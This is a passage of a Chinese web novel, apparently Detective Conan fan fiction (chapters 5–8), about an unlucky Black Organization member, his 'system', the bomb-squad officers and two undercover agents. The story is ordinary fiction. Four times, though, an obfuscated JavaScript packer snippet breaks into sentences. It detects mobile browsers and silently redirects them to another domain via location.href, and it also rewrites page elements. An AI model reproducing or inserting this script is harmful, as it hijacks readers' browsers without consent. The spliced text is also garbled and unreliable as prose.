就说真公开表彰了,名字地址相貌信息很容易暴露,日后查找他的信息,简直一查一个准,这个炸弹犯出来要找他报复,更容易顺藤摸瓜找到他。 想到这里,原月见陷入了沉思。 这炸弹犯真要出来报复他的话,他就先下手为强,直接把对方干掉。 不过或许是原月见赶路的时候正在走神,迎面而来的人走得过于匆忙,或许说用跑的更加合适,他俩直接擦着肩膀而过,再近一点估计两个人都得踉跄一番。 “抱歉。”对方匆匆的扔下来这句话,发现原月见没事后又立刻迈开脚步跑走了。 原月见没放在心上,本来走路不看路,他也有一份责任,很快就将这段插曲抛之脑后。 “hagi!” 萩原研二刚被上司批评了不穿防爆服就去拆弹的行为,按断电话没多久就发现松田阵平满脸阴郁,怒气冲冲向他走来。 糟糕 ,小阵平是不是发现他没穿防爆服了? 萩原研二打起精神面对松田阵平,身体努力做出放松的姿态,“小阵平 ,你看我现在不是没事吗?别太担心,那个炸弹很简单。” 听完松田阵平一点都没被安慰到,眼中的怒火反而燃得更旺。 “那个炸弹还可以被远程遥控,你知不知道要不是有人及时发现了犯人,从犯人手中抢走了控制器,你就得跟着炸弹一起被炸死了!” 得知这一切后,松田阵平冷汗直冒,给萩原研二打电话没打通,当时萩原研二正在被上司训话,把松田阵平急得心脏都要从胸膛中跳出来了。 松田阵平还是又向其他人打听,得知萩原研二平安无事,才感觉心脏好受了一点。 听说当时犯人情绪冲动,引爆程序都已经调到界面上了,就差点下确认键,萩原研二简直是和死神擦肩而过。 5. 第 5 章 “对不起,小阵平,这次是我错了,下次不会这样了。”眼见这件事没法轻易掀过去,萩原研二老老实实认错,免得松田阵平被气晕过去。 饶是如此,松田阵平还是拉着萩原研二劈头盖脸说教了好一阵。萩原研二急中生智,想到了能暂时转移松田阵平注意力的方法,立刻说道:“小阵平,我还不知道制服犯人的好心人是谁,你知道吗?不知道的话我们一起找人问问,之后好感谢一下对方。” 松田阵平这才停止了说教,归纳了下同事们的说法:“是那栋被安装了炸弹的公寓住户,看起来很年轻,不过已经工作了一段时间。见过他的人似乎很熟悉他,我记得是姓原?” “哦?是警察的亲友吗?”萩原研二好奇问道。 松田阵平一阵沉默,当时急匆匆的,没有和同事交流太多。不过此时回忆同事的古怪表情,松田阵平总觉得不对劲。 一旦那股上头的情绪被冲散,理智重新回归,松田阵平含糊说道:“待会找水谷问问就知道了。” 都是爆|炸|物处理班的人,有着彼此的联系方式,还都在一个地点办公,打听很快就得到了结果。 “你问制服了犯人的人啊?”水谷智仁语气复杂,脸上的肌肉都都露出古怪的样子,“反正你和萩原以后迟早会熟悉他,现在正好给你们介绍一下。” 松田阵平迷惑,什么叫做以后都会熟?难不成对方是警视厅某个领导的亲戚,以后免不了见面? 但如果真是这样,水谷智仁不会是这种态度。电光火石之间,松田阵平回忆起了之前伊达航拉着他们聚会时的吐槽,心中不免无语,不会真的有人那么倒霉吧? 松田阵平和萩原研二进入机动队爆|炸|物处理班时间不久,水谷智仁是个面善的中年人,可以说是他们的前辈,对警视厅和工作上的事了解的比他们要多。对于水谷智仁,松田阵平还是颇有尊敬之心的,对方是个向来兢兢业业、为人和善的前辈了。 “他叫原月见,怎么说呢,就是运气有点倒霉。”水谷智仁说话尽量不要把原月见描绘的过分可怜,为对方保留几分颜面,免得被人嘲笑或者当成瘟神被疏远。 “有时候总是免不了在必要的场景见面,多见几次你们就了解他了。”水谷智仁一锤一音。 萩原研二眼角微抽,没想到之前和伊达航见过面的人如今被他们碰上了。虽然萩原研二知道伊达航一般说话尽量客观,免得偏离事实,但真见到现实中的人这样,还是未免微妙。 “那他挺适合当侦探或者警察。”萩原研二这次说的格外真情实意,却见水谷智仁神情更加怪异,有种话憋在心里不知道怎么开口的感觉。 “以前也有警视厅的人和你说过类似的话。”水谷智仁说道。 “那原月见怎么回答的?”松田阵平直率问道。 “他说当警察或者侦探还是算了,天天抛头露面,容易被媒体报道,给犯人事后报复提供捷径。当警察会被投诉,当侦探也要注意服务态度,总之他都不愿意干。”水谷智仁虽然没有亲眼见证当时谈话的一幕,不过后来朋友特意给他提到过。 “不过他还是给提供意见的人道了谢,说当警察虽然不是他的理想职业,但是确实容易学到一些保命技能,他会认真考虑的。” 萩原研二说:“不过后来他还是没当警察吧?” 虽然只是寥寥几语,但萩原研二已经勾勒出了原月见的形象。总觉得会说这种话的人大概很难接受按部就班、平平淡淡的职业规划。 “是,没听说过他当警察的消息。”水谷智仁回道,还忍不住替原月见感到惋惜:“怎么说呢,虽然运气不太好说,但是他能力还是有的。” 至少以如此高的案件发生率还能平安活到现在,还时不时反把犯人送进局子,阻止案件发生,这份保命能力已经可以说明很多了。不过水谷智仁没把这番心里话说出来,不然未免太扎心了。即使当事人不在,还是应该尊重下对方。 “如果他去当警察肯定业绩刷得很快,当侦探也能证明他的能力,不会缺少委托和扬名的机会。”萩原研二感叹道。 “我想他不会想有扬名的机会。”松田阵平吐槽道。 顺着原月见的思路来,扬名就等于告诉那些犯人他身为当事人,不仅没被犯人成功犯罪,还转把犯人送了进去。再扬名岂不是等于踩着犯人上位?分分钟仇恨度都会被拉满。 理清了思路的松田阵平一时忍不住沉默,感觉这番心路历程说出来都有点不忍心了。 最后松田阵平还是憋出了一句话:“……他还挺不容易的。” 当事人大概率不想要他们的怜悯,松田阵平也不会摆出高高在上同情他人的态度,因此只是点到为止。 回到了历经波折的公寓,原月见洗漱完直接瘫倒在柔软的床上。就算看到了伏特加发过来的任务,他也毫不客气的一键转发给刚刚分配给他的两个新人,任务内容连一个标点符号都没改,让收到邮件的降谷零和诸伏景光查阅完后,一时不禁沉默。 “这份邮件,分明是伏特加发给田纳西的吧。”降谷零忍不住说道,邮件的主语和宾语一点都不带改的,明眼人一看都知道这封邮件不是专门发给他们的。 “田纳西似乎有些不拘小节?”诸伏景光绞尽脑汁的猜测道,试图从细节上分析一切可用的情报。 虽然他们现在都是新人,大部分情况都处于组织的监视之下,但非任务的时候,组织也不至于一天二十四小时监视着他们,总归有接头碰面的机会。 降谷零和诸伏景光难得找机会碰面,是想问对方田纳西威士忌有没有单独联络他们其中一人,有没有私下派发任务。结果这么一碰面,就当场收到了田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889052|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳西的邮件。 本来降谷零和诸伏景光心头一紧,想着组织是不是发现了什么蛛丝马迹,觉得他们在私下搞小动作。结果看到手机屏幕上的内容,一时觉得刚刚的紧张似乎有点多余。 “或许是他对我们的信任?即使只是表面上做出信任我们的样子?”诸伏景光说完又觉得这有点草率,可如果不这样想,其他的猜测就更加离谱了。 怎么会有组织成员懒到连任务邮件都不改一下重新发送,就算目前田纳西是他们的上司,这也未免太不装了吧? 一般人都会想要点体面,这样做简直是告诉下属他们这个上司不太靠谱的样子。如果田纳西这样的行为被其他组织同级别乃至更上层的成员知道,只会更加觉得田纳西做事不稳妥,不值得托付重任。 降谷零和诸伏景光根据有限的信息试图拼凑田纳西的人格侧写,一方面觉得田纳西不会那么好懂,一方面又觉得他的行为有点好懂的过分离谱。 出于卧底想要打听更多情报的思想,降谷零还是给伏特加发了一封邮件,向伏特加说明这件事的来龙去脉。 反正情报贩子会试图获得更多情报,这样做不算出格,也是和自身利益切身相关。 不知道是伏特加正在忙没看手机,还是一时颇为无语,过了一阵才给降谷零回了封邮件。 「田纳西有时候比较孩子气,缺乏安全感,生性有点好玩,你多体谅一下他。」——伏特加。 收到这封邮件后差点给降谷零整不会了,他没想到伏特加还真回了他消息,毕竟这么做只是出于试探,不一定有用,但总得试试。 降谷零默默把手机递给了诸伏景光,换来的是两个人长久的头脑风暴,周围一时寂静无声,连针掉到地上都能听见。 这是伏特加正儿八经的回答吗?怎么和田纳西之前的行为一样不靠谱?一个犯罪组织应该出现这种类似于普通会社前辈关心后辈的温馨对话吗?难不成之前他猜错了,其实伏特加和田纳西关系还不错?降谷零大脑高速运转,只觉得这封邮件实在有些挑战他的CPU。 诸伏景光也有类似的感受,一时之间都觉得他们是不是卧底错了组织,怎么伏特加还能说出这种话? 不知道他们心中所思所想的伏特加艰难回了邮件后,只觉得有点恶心,还有点憋屈,但又感觉踢掉了路上的一个绊脚石,心情愉悦了一分。 伏特加清楚安室透之所以会问他,估计是觉得田纳西这个上司实在靠不住。在组织里混,也是讲究站队和有没有跟错人的,要不然哪天一个派系斗争,不仅影响前途发展,说不定还得送命。 伏特加一时有很多的吐槽想要和安室透分享,噼里啪啦打了一堆,后来既担心这可能会把安室透吓跑,又怕原月见知道了事后报复他,只得憋屈又郁闷的全删了,然后发表了一通看似委婉关切的话。 6. 第 6 章 伏特加越想越气,怎会如此! 原月见一开始邪门的时候,伏特加还能对他指指点点。那个时候原月见没代号,而伏特加是正经的组织成员。 像是原月见这么能找事又不听话的人,组织根本忍不了他多久,伏特加以为很快琴酒大哥就能送给他一颗子弹。 结果后来一切都不对了,随着原月见崭露头角,人虽然不正常,但能力在线,任务该完成的也完成了。虽然和原月见一起搭档的人不是死了,就是被逼的受不了要换搭档,就连琴酒也对此颇有怨言,想要好好和原月见”谈一谈”。 结果后来原月见不知道怎么作死,顺走了琴酒拿的雪莉研究的毒药,还给吃了,结果毫发无伤,安然健在。得知这个消息的伏特加牙都要咬碎了。 世界上就不能少一个原月见吗?伏特加简直要受不了他了,之后更是伏特加噩梦的开始。原月见折腾琴酒更是毫不顾忌,连带着伏特加也得跟着遭殃。 自打原月见吃了雪莉的毒药后,一切更像是天崩地裂的开始,至少伏特加的天自此就变了。 Boss从此格外重视原月见,他也不在意往组织实验室跑,身体也产生了细微的改变。这导致原月见再怎么作,琴酒都不得不遵从Boss的指令,捏着鼻子忍他。 伏特加只恨雪莉的毒药怎么就没毒死原月见?连带着他不得不忍气吞声。 甚至伏特加一度希望原月见干脆不要干活,领着组织的薪水彻底躺平得了,反正他的任务不过就是跑跑实验室。 反正原月见每次讹组织的钱,用乱七八糟的理由申请组织的经费用于私生活,哪次组织没给他批?伏特加看了都眼红了,原月见简直是把组织当成了自己的钱包了。 这么一来原月见还干什么活呀?反正他每次老是动不动就摆烂 ,活都要别人干,有他没他区别又不大。就算原月见确实有能力,但伏特加真的不想看到他。 况且原月见一在,他的搭档非死即伤。铁打的原月见,流水的搭档,也就碰到了一个能力强点的宾加,算宾加命硬,扛过了原月见的折磨。 伏特加觉得他想要原月见躺平的想法,任哪一个原月见的搭档都会感激他的所作所为。可惜这话伏特加不敢给琴酒说,要不然琴酒绝对没他好果子吃。 哪怕原月见作,但是真干活的时候倒也是会干的。这么一来,总比完全不干混吃等死强。 伏特加委婉的向原月见表达过他不需要这么辛苦,该休息该在家玩不需要那么操心。但平时一直都很能折腾人的原月见,这个时候竟然出奇的通情达理,表示他不介意,还愿意干活,把这一通暗示全部都扭曲了伏特加的本意。 伏特加用脚趾头想都觉得不可能是原月见那么好心,分明是他想找理由搞各种花活折腾别人,给自己找乐子。 一开始遇见原月见的时候,伏特加还以为原月见真的就那么倒霉,老是引发各种案件。现在伏特加只觉得当初自己太天真,这都是原月见故意的,天天找事挑刺,换谁不对他怀恨在心下手,这都是原月见自己作的。 想到这里,伏特加忽然对安室透和绿川唯生出了几分戒备。这俩人别真的被原月见折磨疯了,偷偷下黑手干掉原月见。要不然他怎么给琴酒和Boss交差,说他看好的新人干掉了原月见,这不都得成他的锅吗? 于是伏特加立刻又给安室透和绿川唯发了一封邮件,叮嘱他们别乱来。毕竟这次是他亲自给原月见选的新人,之后真出事伏特加也跑不了。 至于宾加?那是朗姆挑的人,关他伏特加什么事?不如说伏特加天天祈祷宾加这暴脾气干掉原月见,结果宾加也不傻,还颇有耐力的都忍了下来,直到如今一起和原月见取得了代号,这让伏特加扼腕不已。 还没从上一封邮件回过神的降谷零和诸伏景光又看到了伏特加新发的邮件,只感觉三观都受到了冲击。 上一封邮件的关键词:有时孩子气,缺乏安全感,生性好玩。 下一封邮件,「你们要照顾好田纳西,绝对不能让他出事!」 不知道的还以为伏特加是找他们当育儿保姆呢,看看伏特加的形容词,这简直就和在公司让员工给老板儿子当保姆,老板的家事就是公司的大事有什么区别?田纳西威士忌不会真是老板儿子吧?他今年到底几岁?不会才十几出头吧? 降谷零和诸伏景光一瞬间都怀疑他们有没有必要来卧底,这黑衣组织会不会迟早会把自己搞垮,看看这都干的什么事?这还是不是正经非法组织?他们还是不是正经卧底?总感觉这组织他们不来卧底也迟早要完的样子。 伏特加不知道他们会有这么多猜测,就算知道也会觉得这全怪原月见。世界上怎么有这样的精神病,医生就还没有治好他的被害妄想症吗?曾经伏特加一度怀疑这是原月见拿刀威胁医生,让医生给他做出的假诊断,就是为了故意拿这个当由头折腾人。 “不管怎么样,这个田纳西的地位一定非常重要。”降谷零分析,“看样子组织没了他不行,Boss格外重视他。” 诸伏景光也连连赞同,“说不定能将田纳西威士忌纪视作突破口,如果能逮捕他,说不定能获得很多重要的情报。” 两个卧底你一言我一语的试图深入分析,重新制定针对田纳西的行事计划,为此彻夜长谈了好一阵。 原月见还不知道他手底下的两个新人各怀鬼胎,还碰巧和他一样都是卧底。反正把任务甩出去,原月见做起来格外顺手,一点也不心虚,转头继续看新买的漫画。 系统一阵黑线,「你就是为了看漫画,这次就又不干活了吗?」 “我这是给安室和绿川一个锻炼的机会,他们不必感激我,我做好事从不留名。”原月见顺口回答。 虽然早就知道宿主脸皮厚,系统对此也见怪不怪。但想想那两个可怜的新人,系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889053|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是忍不住开口,「你还是放过他们吧。」 「你想想,少干点活,多享会乐,岂不美哉?」系统语重心长。 “不和人打交道就会很没意思。”原月见长长叹气,“被迫家里蹲和主动家里蹲还是不一样的,有些事我可以自己选择,但不能被迫选择。” 原月见还继续补充:“你说话不要那么像伏特加,我都怀疑你是伏特加的嘴替了,他不敢说,你替他说是吗?” 「这说明火眼金睛的人不止一个。」 “那你是人吗?” 系统又一次被哽住,知道劝不了原月见,只好选择献祭安室透和绿川唯。 原月见对手下新来的两个新人格外放心,反正如果他们有能力完成任务,这说明他这个上司慧眼识珠,懂得选贤用人,充分给他们空间发挥主观能动性,领导他们的功劳还是有的。如果完不成任务,那就说明他们能力有问题,不堪重用,还有伏特加选人更有问题,把能力不行的人分到他手下,是不是想给他使绊子穿小鞋。 整个思考只花了短短几秒的时间,原月见心安理得的在公寓里昼夜颠倒的狂追漫画。直到他终于有闲心打开手机,翻阅里面的陌生邮件,发现警视厅有人给他发消息,而时间已经过去了快两天了。 看来不是重要的事,否则警视厅会直接一通电话打到他手机上,而不是这么委婉的发邮件。 这个手机是他平时日常使用的号码,点外卖收快递都用这个号码,就连去警视厅录笔录也留这个,所以平时警视厅有警察联系他都会通过这个号码。 而原月见偶尔也会收到快递公司和外卖公司送错的包裹,莫名其妙发现里面有炸弹,或者各种违禁物品,有时是原月见主动联系这些公司并报警,有时是公司的职员发现他们送错联系原月见。总而言之,就和游戏里触发随机事件没有什么两样,随时随地和案件近距离接触,不愧是一个侦探类型的游戏。就算原月见想要拒绝,这种侦探狂喜的解谜还是总会降临到他的身上。 又检查了一遍其他的陌生邮件,原月见确定没有什么恐吓信之类的邮件,或者有哪个憨憨发给同伙的邮件误发到他的邮箱上,才有心情思考警视厅的人发的这封邮件。 「您好,原先生,我是警视厅机动队爆|炸|物处理班的萩原研二。对于上次发生在您所在的公寓炸弹案件,得到您的帮助我万分感激。不知是否有机会请您吃饭表达我的谢意,如果您有时间参加,可以随时联系我。」——萩原研二。 陌生的名字,原月见对此毫无印象,不是他经常打交道的警察。考虑了对方是不是装成警察骗他出去,或者是新来这片辖区的警察的可能性,原月见干脆又给水谷智仁发了一封邮件,确定是不是这个自称萩原研二的警察给他发的。 他可不想万一心血来潮去了,结果是被并非警察的人骗过去的。这个世界的神经病太多了,原月见觉得他不得不小心。 7. 第 7 章 原月见不打算接受邮件上邀约,毕竟在过去这段时间里,他主动或是被动参与案件见义勇为早已屡见不鲜,如果接受每一个人的感激,他觉得自己的房间会挂满了锦旗。 爆肝追完了新出的漫画剧情,原月见觉得是时候进行一下必要的社交了。他干脆拨通了从未打过的手机号码,对方没有立刻接通,等了七八秒后才接通了电话。 “任务完成的怎么样了?”原月见开门见山问道。 降谷零一阵沉默,心想你还记得任务啊?自从把任务直接丢给他们后就再也没联系过他们,要不是从伏特加那边套出了情报,知道田纳西有问题,不然就这情况乍一看还以为对方多信任他们呢。 手机传来的声音虽然不能完美的传达原本的音色,显得有些失真,不过声音的主人听起来确实年轻,语调透露出一股漫不经心的慵懒。 虽然满心腹诽,但表面上降谷零语气恭敬又自然:“任务的关键部分已经完成的差不多了,目前只剩下收尾,我和绿川正准备给您汇报。” “是吗?干得不错。”原月见语气随意,随便说了两句,便直入正题:“安室,完成任务后帮我捎一些漫画回来,还有新上市的几款游戏,顺带再买点零食,待会我会邮件发给你一份详情表。” 降谷零一时无语,这才是田纳西打电话的真实目的吧,前面为了问任务进度才是顺带的。不过降谷零还是保持人设,“我一个人吗?那绿川呢?” 最好还是不要在组织成员面前展现他和hiro关系亲近的事实,虽然降谷零觉得田纳西比起能力强更像是组织的关系户,不一定会想那么多,但身为卧底必须要谨慎。 这种跑腿的活但凡有点傲气的组织成员都不会乐意干,既然落到了降谷零的身上,他觉得还是要问下hiro为什么不需要,免得田纳西起疑心。 “绿川吗?那让他和你一起吧,正好多一个人多份力。新上市的这几款游戏发售时间比较接近,免得你一个人抢不到,正好还有绿川。” 这下降谷零确认了,这完全是田纳西没想起来还有hiro的存在。他甚至怀疑田纳西是从他们两个人中随便挑了一个人打的电话,如果挑中了hiro也会发生之前类似的对话。 这种让人跑腿的情况如果发生在了警视厅,说一句公器私用,上司借着职权便利压榨下属也不为过。虽然也有很多下属为了向上司献殷勤心照不宣的主动求着为上司“分忧解难”,但上司光明正大这么干严格来说还是不好听的。 但这里是组织,从事的是非法勾当,自然没有公器私用这一说。或许对组织成员来说获得这种机会反而更方便了往上爬,身为卧底,即使降谷零心中对这种行为无感,但也觉得这是个接近田纳西的好机会。 “那我怎么给您送过去,快递邮寄吗?”降谷零试探问道,能获得田纳西的住址,这也算是个有用的情报。 没想到原月见反而提到了另一个方面,“安室,少说敬语,以后给我发邮件也一样。” 原月见是真的受不了日本人融入生活的敬语,长长一段话夹杂着敬语,这导致有用的信息很少,废话一堆,天知道他从日本人的邮件里看了好几行才看到有用的地方是什么心情。 虽然安室透的敬语没有到那种龟毛的程度,但原月见还是提前说了一声,免得以后和对方打交道烦心。况且原月见也不是真的不知道每个和他相处过的组织成员是怎么看他的,很快安室透和绿川唯就会变得和那些人一样。顶多是碍于目前上下级的关系对他表现出表面的尊敬,实际上心里怎么想的原月见门清,但原月见压根不在意他们怎么想。 “地址我待会一块发给你。” 降谷零揣摩刚刚田纳西的话,不想听敬语是出于什么原因,如果对方是日本人这种要求未免太过诡异,勉强的解释就是对方比较有个性,不想搞一些太虚的东西。不过换成是外国人,那么一切就都解释得通了。 仅从口音判断,田纳西的日语听不出和日本人的差别,没有口音,语法熟练没有错误,任何听到的人都会下意识以为田纳西是日本人。 至于地址,田纳西确实答应得很爽快,不过都找降谷零跑腿了,肯定也做好了给出地址的心理准备,这个降谷零不算意外。 不过就在降谷零爽快答应后,就听到了原月见轻飘飘的话:“没必要把我的地址当一回事,这个地址住不了多久,很快就会换新的。” 闻言,降谷零神情一紧,不确定田纳西是不是发现了什么不对劲的地方,还是单纯在试探他才会这么说。 “我没有想要探究你的住所的意思,只是为了完成任务。”降谷零保持冷静,倒是记住了原月见之前的话,从容不迫的回答。 难不成给的地址是临时住所,田纳西还不相信他们吗?降谷零觉得田纳西比想象中的要更棘手一些。单纯的折腾人纨绔子弟反而更好对付,但要是琴酒那样的任务处理起来就麻烦多了。 “是吗?”原月见语气意味不明,“我可是很担心你和绿川哪天看我不顺眼往我的住处安装炸弹呢,看我不顺眼想要我死的人可是太多了,不得不小心一些。” 降谷零觉得田纳西的这种态度,得罪其他人,在组织遍地都是仇人可太正常了。更令降谷零忍不住吐槽的是明知如此,田纳西还做事还我行我素,现在他总算搞清了伏特加之前的态度了。 一时之间,降谷零在怀疑田纳西是单纯嘴碎,性格恶劣才这么说,还是怀疑他是卧底才这样做。 降谷零尽量美化说道:“有能力地位高的人会有敌人很正常,身为部下,我和绿川绝不会做这种事。” 原月见不置可否,“到时候你和绿川把东西直接送到我的公寓,来之前和我说一声。”说完,他也没兴趣再和安室透客套,直接挂断了电话。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889054|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月见不相信组织里的任何一个人,都混黑了,还要期待他们的道德水平吗? 被挂断电话后,降谷零神色凝重,又不好直接和诸伏景光打电话发消息,免得被组织窃取电子设备的信息,只好一个人先疯狂脑内风暴。 田纳西身上的疑点太多了,像是个深不见底的黑洞,一被靠近就被摄入。 「职权欺压好用吗?」 “果然上司的权力就是好用,要是换成以前和宾加共事的时候,他早就骂骂咧咧了。”原月见感叹。 「你要是对宾加好点,他也不至于这样。」系统说的分外诚恳。 想想当初宾加刚见到原月见,还被他乍一看人畜无害,岁月静好的样子给骗了。系统都想让宾加洗洗眼睛,好在相处还没多久,原月见就暴露得格外彻底,直接打碎了宾加一开始的滤镜。 现在安室透和绿川唯倒是比宾加幸运一点,还没直接迎接原月见外表的迷惑性,就先通过口头的交流彻底击碎了原本正常的印象。 “反正这是一个侦探游戏,又不是攻略游戏,对他们好,要他们的好感度有什么用吗?”原月见不客气地说道。 “而且现在这个游戏也快被我玩成求生游戏了,我精神压力很大,不找些出口发泄一下,我早就疯了。” 系统顿感心虚,「你说的有道理,宿主,你现在想听哪本小说?我这就念给你听。」 系统此时分外殷勤,原月见拆开送到的外卖,用从系统那里氪金换到的食物安全检测器检查了一遍,确定没被下毒后才安心吃饭。 系统给的价格格外黑,原月见没从组织或者公安那边彻底跑路不干也只是为了工资而已。 天天吃这些外卖,原月见都有些食不下咽了。他倒不是不会做饭,但是做出来的味道只能说能吃,仅此而已。 “天天吃这些外卖,真是够了。”原月见忍不住抱怨。 想到原月见确实倒霉,而这也有它的一份锅,系统一时顿感愧疚,下意识给出了主意。 「要不你问问安室透和绿川唯会不会做饭,让他们来给你做吧。」 系统检索着情报,它知道诸伏景光手艺不错,至于降谷零,反正他之后厨艺水平那么高,现在学习应该不算晚,早掌握一门技术也对他有好处。 「反正他们现在还算你的下属,都是组织的人,应该不敢做什么,你不用担心他们下毒毒死你,或者找机会暗杀你。」系统绞尽脑汁。 “你这么信任他们?而且你之前不是还嫌我对他们不够好吗?”原月见语气幽幽。 「是根据这些资料分析得出的结果。」系统干巴巴地说道。 这两人都是卧底,应该不至于做什么吧?至少系统认为他们的人品有时候比宿主更靠谱。 「而且如果他们厨艺不错,你也会对他们好点儿的。」 这话是实话,因此系统说起来真心实意。 8. 第 8 章 “……你说的有道理。”原月见认真思索。 如果安室透和绿川唯都厨艺不错,那么他就从中找个幸运儿。如果只有一个人厨艺可以,那么他直接就不用二选一了。 如果两个人都不会,原月见决定让他们都去学。实在学不会,那么他也只好放弃这个想法。 既然刚刚给安室透打过电话,那么原月见暂时不继续霍霍对方了,而是改给绿川唯打电话。 “喂,你好。”电话的另一头语气礼貌,声音温和。 “是我 ,田纳西威士忌。”虽然对方的声音轻快,诸伏景光却不得不收起平常的心态,将全部的专注放在这一通电话上。 “您是想要查看任务的进度吗?”诸伏景光试探道。 “不不,我不是为了这种无聊的事联系你。” 仅凭声线,像是个活力满满的年轻人。但既然是这个组织的一员,诸伏景光绝不会大意。 “绿川,你会做饭吗?”原月见直接问道。 诸伏景光:“?” 虽然满心疑惑,但诸伏景光还是揣摩着田纳西的心思,“我擅长一些家常菜,味道还算可以。” “那你和安室一起来的时候做一点成品给我试试看吧。”原月见大大方方,丝毫不认为这种行为是否会给对方带来困扰。不过作为上司,原月见还是懂得如何调动下属的主观积极性,“如果味道可以,绿川,你之后负责我的三餐。作为回报,我会和伏特加谈谈的。” 诸伏景光的呼吸频率微微加速,电话另一边的人似乎察觉到了这一点,语气略带笑意:“不用紧张,绿川,我说的可是实话,没有在戏弄你。” “我没有怀疑您的意思。”诸伏景光回答的很谨慎,他摸不透田纳西的想法,但最好顺着对方来。 “伏特加一定和你们说过我吧?”原月见心知肚明,笑吟吟说道:“你觉得他说的是实话吗?绿川。” “他人的传言未必真实,总会存在夸张扭曲的部分。”诸伏景光挑着好听的话说,田纳西实在难以捉摸。询问伏特加的事是想知道伏特加的立场吗?想知道他和zero对田纳西的观感?可前者还能询问出一些事实,例如伏特加究竟都说了什么,可以借此判断他们是站在伏特加这边还是站在田纳西那边。后者就只能得到虚于表面的好话,谁会把自己对上司的负面观感当着对方的面说出来啊。 不过诸伏景光没想到田纳西没有追问伏特加都和他们说了什么内容,而是转头抱怨:“伏特加根本不懂,他的心里只有琴酒,还天天觉得我小题大做,没事找事。他究竟有没有研究一下日本的犯罪率,这年头,什么理由都能成为杀人动机,出门在外必须要注意安全。” 诸伏景光没有贸然打断田纳西的话,只字不漏的分析透露出的情报。 “上次他让我去截断敌人撤退的路线,结果选定的狙击地点发生了商场抢劫案,还好我有先见之明背着狙击枪跳到隔壁大厦的天台逃跑。要不是两座大厦之间的距离不大,加上我跑得快,我就要被警察拦住了。背着个狙击枪,怎么都解释不清。” 说这话的时候,原月见语气自然又亲昵,不知道的人还以为他们是多熟的朋友。 诸伏景光沉默,说是出门注意安全,结果还有胆量直接在天台上跳到另一座楼,也不怕失足把自己摔死。 田纳西似乎没有边界感,明明认识都没多久,却还能表现的他们很熟稔的样子。 而且田纳西这么干,任务大概率还是失败了。结果提到这码事,田纳西不以为耻,反以为荣,觉得他做的很对。就算是诸伏景光其实是敌对方,也觉得田纳西做的确实有几分道理,但还是忍不住同情了一把伏特加。 “唉,做任务都能碰到案件,更别说平时不上班的时候了。绿川,你知道我为什么打算问你和安室会不会做饭吗?” 这件事还牵扯到了zero,诸伏景光不敢大意,他保持平静:“因为您的情报是机密,如果让组织之外的人照顾您的生活,负责您的饮食,容易存在情报泄露的可能。” “机密?”原月见似乎是听到了好笑的事,“如果那些东西也能叫做机密的话。” 没等诸伏景光继续深入思索,便听到了原月见的下一句话:“不过没有这些情报的事,最关键的是,总是点外卖或出去吃饭,我很容易碰到案件。” 接下来诸伏景光便听到了原月见随便分享的一些亲身案例。 什么送到他手上的外卖其实是一伙珠宝窃贼利用外卖转移赃物,却送错到他这里。还有人想在饭店下毒毒死恋人 ,结果被他识破恼羞成怒拿起桌上的餐刀冲向了他。奶茶店的店员认出了自己的仇人,想要通过下毒的方式毒死对方,结果仇人拿错了奶茶,把有毒的那一瓶留给了他……诸如此类,只要他出去吃饭,十次有八次没有好事,都快比得上游戏里的日常任务了。 诸伏景光大为震撼,日本什么时候这么危险了?他觉得田纳西的话还是存在夸张成分,但这件事哪怕有几分真实,听起来田纳西一开始批评日本犯罪率的话都有了几分可信度。 “这个时候我就想到了你和安室,刚刚我和他打过电话,但是还没想起这码事,现在想起了,我就立马给你打电话了。” 诸伏景光看了一眼手表上的时间,六点十一分,确实是晚上吃饭的时间点。到了要吃饭的时候,田纳西才想起来还有他们这两个下属可以用吗。 真是用到人的时候才会激起他们的存在 ,平时就当甩手掌柜。 不过田纳西这么松懈,没有为组织想要卖力的意思,诸伏景光一方面觉得这样也好,可另一方面他作为卧底,需要不断向上爬,提高自己的地位,上司是这样的人,多少会影响到他的和zero的前途。 “如果您需要,我很乐意为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889055|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 